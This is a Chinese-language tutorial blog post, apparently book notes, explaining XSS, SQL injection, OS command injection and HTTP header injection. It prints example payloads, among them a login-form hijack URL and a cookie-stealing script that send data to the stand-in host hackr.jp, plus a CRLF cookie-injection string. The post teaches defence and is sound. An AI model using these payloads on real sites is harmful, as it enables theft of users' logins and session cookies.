HTTP基础10--web(2)
因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞
實(shí)施 Web 應(yīng)用的安全對(duì)策可大致分為以下兩部分。
客戶(hù)端的驗(yàn)證
Web 應(yīng)用端(服務(wù)器端)的驗(yàn)證: 輸入值驗(yàn)證 / 輸出值轉(zhuǎn)義
客戶(hù)端允許篡改數(shù)據(jù)或關(guān)閉 JavaScript,不適合將 JavaScript 驗(yàn)證作為安全的防范對(duì)策。保留客戶(hù)端驗(yàn)證只是為了盡早地辨識(shí)輸入錯(cuò)誤,起到提高 UI 體驗(yàn)的作用。
Web 應(yīng)用端的輸入值驗(yàn)證按 Web 應(yīng)用內(nèi)的處理則有可能被誤認(rèn)為是具有攻擊性意義的代碼。輸入值驗(yàn)證通常是指檢查是否是符合系統(tǒng)業(yè)務(wù)邏輯的數(shù)值或檢查字符編碼等預(yù)防對(duì)策。
從數(shù)據(jù)庫(kù)或文件系統(tǒng)、HTML、郵件等輸出 Web 應(yīng)用處理的數(shù)據(jù)之際,針對(duì)輸出做值轉(zhuǎn)義處理是一項(xiàng)至關(guān)重要的安全策略。當(dāng)輸出值轉(zhuǎn)義不完全時(shí),會(huì)因觸發(fā)攻擊者傳入的攻擊代碼,而給輸出對(duì)象帶來(lái)?yè)p害。
跨站腳本攻擊
跨站腳本攻擊(Cross-Site Scripting,XSS)是指通過(guò)存在安全漏洞的 Web 網(wǎng)站注冊(cè)用戶(hù)的瀏覽器內(nèi)運(yùn)行非法的 HTML 標(biāo)簽或 JavaScript 進(jìn)行的一種攻擊。動(dòng)態(tài)創(chuàng)建的 HTML 部分有可能隱藏著安全漏洞。就這樣,攻擊者編寫(xiě)腳本設(shè)下陷阱,用戶(hù)在自己的瀏覽器上運(yùn)行時(shí),一不小心就會(huì)受到被動(dòng)攻擊。
跨站腳本攻擊有可能造成以下影響。
利用虛假輸入表單騙取用戶(hù)個(gè)人信息。
利用腳本竊取用戶(hù)的 Cookie 值,被害者在不知情的情況下,幫助攻擊者發(fā)送惡意請(qǐng)求。
顯示偽造的文章或圖片。
跨站腳本攻擊案例
在動(dòng)態(tài)生成 HTML 處發(fā)生:
XSS 是攻擊者利用預(yù)先設(shè)置的陷阱觸發(fā)的被動(dòng)攻擊
下圖網(wǎng)站通過(guò)地址欄中 URI 的查詢(xún)字段指定 ID,即相當(dāng)于在表單內(nèi)自動(dòng)填寫(xiě)字符串的功能。而就在這個(gè)地方,隱藏著可執(zhí)行跨站腳本攻擊的漏洞。
隱藏植入事先準(zhǔn)備好的欺詐郵件中或 Web 頁(yè)面內(nèi),誘使用戶(hù)去點(diǎn)擊該 URL。
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="瀏覽器打開(kāi)該 URI 后,直觀感覺(jué)沒(méi)有發(fā)生任何變化,但設(shè)置好的腳本卻偷偷開(kāi)始運(yùn)行了。當(dāng)用戶(hù)在表單內(nèi)輸入 ID 和密碼之后,就會(huì)直接發(fā)送到攻擊者的網(wǎng)站(也就是 hackr.jp),導(dǎo)致個(gè)人登錄信息被竊取。
之后,ID 及密碼會(huì)傳給該正規(guī)網(wǎng)站,而接下來(lái)仍然是按正常登錄步驟,用戶(hù)很難意識(shí)到自己的登錄信息已遭泄露。
對(duì)用戶(hù) Cookie 的竊取攻擊
除了在表單中設(shè)下圈套之外,下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式,竊取到用戶(hù)的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>該腳本內(nèi)指定的 http://hackr.jp/xss.js 文件。即下面這段采用 JavaScript 編寫(xiě)的代碼。
var content = escape(document.cookie); document.write("<img src=http://hackr.jp/?"); document.write(content); document.write(">");在存在可跨站腳本攻擊安全漏洞的 Web 應(yīng)用上執(zhí)行上面這段 JavaScript 程序,即可訪問(wèn)到該 Web 應(yīng)用所處域名下的 Cookie 信息。然 后這些信息會(huì)發(fā)送至攻擊者的 Web 網(wǎng)站(http://hackr.jp/),記錄在他的登錄日志中。結(jié)果,攻擊者就這樣竊取到用戶(hù)的 Cookie 信息了。
SQL 注入攻擊
指針對(duì) Web 應(yīng)用使用的數(shù)據(jù)庫(kù),通過(guò)運(yùn)行非法的 SQL 而產(chǎn)生的攻擊;如果在調(diào)用 SQL 語(yǔ)句的方式上存在疏漏,就有可能執(zhí)行被惡意注入(Injection)非法 SQL 語(yǔ)句。
SQL 注入攻擊有可能會(huì)造成以下等影響。
非法查看或篡改數(shù)據(jù)庫(kù)內(nèi)的數(shù)據(jù)
規(guī)避認(rèn)證
執(zhí)行和數(shù)據(jù)庫(kù)服務(wù)器業(yè)務(wù)關(guān)聯(lián)的程序等
SQL 注入攻擊案例
下面以某個(gè)購(gòu)物網(wǎng)站的搜索功能為例,講解 SQL 注入攻擊。通過(guò)該功能,我們可以將某作者的名字作為搜索關(guān)鍵字,查找該作者的所有著作。
- 正常處理的操作示例
URL 的查詢(xún)字段已指定 q= 上野宣,這個(gè)值由 Web 應(yīng)用傳入到 SQL 語(yǔ)句中,構(gòu)成下方的 SQL 語(yǔ)句。
SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;該 SQL 語(yǔ)句表示“從 bookTbl 表中,顯示滿足 author= 上野宣 and flag=1(可售)所在行的數(shù)據(jù)”。
- SQL 注入攻擊的操作示例
把剛才指定查詢(xún)字段的上野宣改寫(xiě)成“上野宣'--”。
構(gòu)成的 SQL 語(yǔ)句就變成“從數(shù)據(jù)庫(kù)的 bookTbl 表中,顯示滿足 author= 上野宣條件所在行的數(shù)據(jù)”,如下所示。
SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;SQL 語(yǔ)句中的 -- 之后全視為注釋。即,and flag=1 這個(gè)條件被自動(dòng)忽略了。
OS 命令注入攻擊
指通過(guò) Web 應(yīng)用,執(zhí)行非法的操作系統(tǒng)命令達(dá)到攻擊的目的。倘若調(diào)用 Shell 時(shí)存在疏漏,就可以執(zhí)行插入的非法 OS 命令。
HTTP 首部注入攻擊
HTTP 首部注入攻擊(HTTP Header Injection)是指攻擊者通過(guò)在響應(yīng)首部字段內(nèi)插入換行,添加任意響應(yīng)首部或主體的一種攻擊。屬于被動(dòng)攻擊模式;向首部主體內(nèi)添加內(nèi)容的攻擊稱(chēng)為 HTTP 響應(yīng)截?cái)喙?#xff08;HTTP Response Splitting Attack);如下所示,Web 應(yīng)用有時(shí)會(huì)把從外部接收到的數(shù)值,賦給響應(yīng)首部字段 Location 和 Set-Cookie。
Location: http://www.example.com/a.cgi?q=12345 Set-Cookie: UID=12345*12345就是插入值HTTP 首部注入攻擊有可能會(huì)造成以下一些影響。
設(shè)置任何 Cookie 信息
重定向至任意 URL
顯示任意的主體(HTTP 響應(yīng)截?cái)喙?#xff09;
HTTP 首部注入攻擊案例
以選定某個(gè)類(lèi)別后即可跳轉(zhuǎn)至各類(lèi)別對(duì)應(yīng)頁(yè)面的功能為例。該功能為每個(gè)類(lèi)別都設(shè)定了一個(gè)類(lèi)別 ID 值,一旦選定某類(lèi)別,就會(huì)將該 ID 值反映在響應(yīng)內(nèi)的 Location 首部字段內(nèi),形如 Location: http://example.com/?cat=101。令瀏覽器發(fā)生重定 向跳轉(zhuǎn)。
攻擊者以下面的內(nèi)容替代之前的類(lèi)別 ID 后發(fā)送請(qǐng)求。
**其中,%0D%0A 代表 HTTP 報(bào)文中的換行符,緊接著的是可強(qiáng)制將攻擊者網(wǎng)站(http://hackr.jp/)的會(huì)話 ID 設(shè)置成 SID=123456789 的 Set-Cookie 首部字段;發(fā)送該請(qǐng)求之后,假設(shè)結(jié)果返回以下響應(yīng)。**Location: http://example.com/?cat=101(%0D%0A :換行符)
Set-Cookie: SID=123456789
%0D%0A%0D%0A
之后,想要顯示的網(wǎng)頁(yè)內(nèi)容 <!-- **在可能進(jìn)行 HTTP 首部注入的環(huán)節(jié),通過(guò)發(fā)送上面的字符串,返回結(jié)果得到以下這種響應(yīng)。**Set-Cookie: UID=(%0D%0A :換行符)
(%0D%0A :換行符)
```
利用這個(gè)攻擊,已觸發(fā)陷阱的用戶(hù)瀏覽器會(huì)顯示偽造的 Web 頁(yè)面,再讓用戶(hù)輸入自己的個(gè)人信息等,可達(dá)到和跨站腳本攻擊相同的效果。**
另外,濫用 HTTP/1.1 中匯集多響應(yīng)返回功能,會(huì)導(dǎo)致緩存服務(wù)器對(duì)任意內(nèi)容進(jìn)行緩存操作。這種攻擊稱(chēng)為緩存污染。使用該緩存服務(wù)器的用戶(hù),在瀏覽遭受攻擊的網(wǎng)站時(shí),會(huì)不斷地瀏覽被替換掉的 Web 網(wǎng)頁(yè)。
轉(zhuǎn)載于:https://www.cnblogs.com/jinkspeng/p/4292949.html
總結(jié)
以上是生活随笔為你收集整理的HTTP基础10--web(2)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 找逃少师傅
- 下一篇: 排序算法(1) 快速排序 C++实现